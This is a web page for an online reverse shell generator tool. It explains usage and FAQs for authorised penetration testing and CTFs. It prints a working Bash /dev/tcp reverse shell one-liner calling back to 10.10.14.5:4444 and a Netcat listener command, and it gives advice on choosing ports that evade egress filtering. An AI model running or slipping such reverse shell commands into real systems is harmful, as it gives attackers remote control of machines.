Boneyard Tools

Reverse Shell Generator

Enter your listener IP (LHOST) and port (LPORT) to get ready-to-copy reverse shell one-liners across Bash, Python, PHP, Perl, Ruby, PowerShell, Netcat and Socat, plus the matching listener command. For authorized testing and CTFs only.

How to use the reverse shell generator

  1. Enter the IP your listener runs on (LHOST) and the port to connect back to (LPORT).
  2. Start the listener on your machine, for example nc -lvnp 4444.
  3. Copy a one-liner and run it on the target you are authorized to test to catch the shell.

Examples

Bash /dev/tcp

LHOST 10.10.14.5, LPORT 4444
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Frequently asked questions

Is this legal to use?

Only with explicit, written permission. This generator is for authorized penetration testing, CTFs and education. Never run these commands against systems you do not own or are not contracted to test, as unauthorized access is illegal.

What is a reverse shell?

A reverse shell is a connection that the target machine initiates back to your listener, giving you an interactive command line. Because the target dials out, it often slips past inbound firewall rules that would block a bind shell.

How do I choose a port (LPORT)?

Pick a port your listener can bind to and that the target is allowed to reach outbound. Common ports like 443 or 53 blend in with normal traffic and frequently get through egress filters; 4444 is a popular default for labs.

How do I catch the shell on the listener side?

Start a listener before running the payload. The simplest is Netcat: nc -lvnp 4444 listens on port 4444 and prints the shell when the target connects. The Listener section gives ncat, socat and Metasploit alternatives.

Are these commands sent to a server?

No. Every one-liner is built in your browser from the IP and port you type. Nothing is executed and no host is contacted by this tool.

Related tools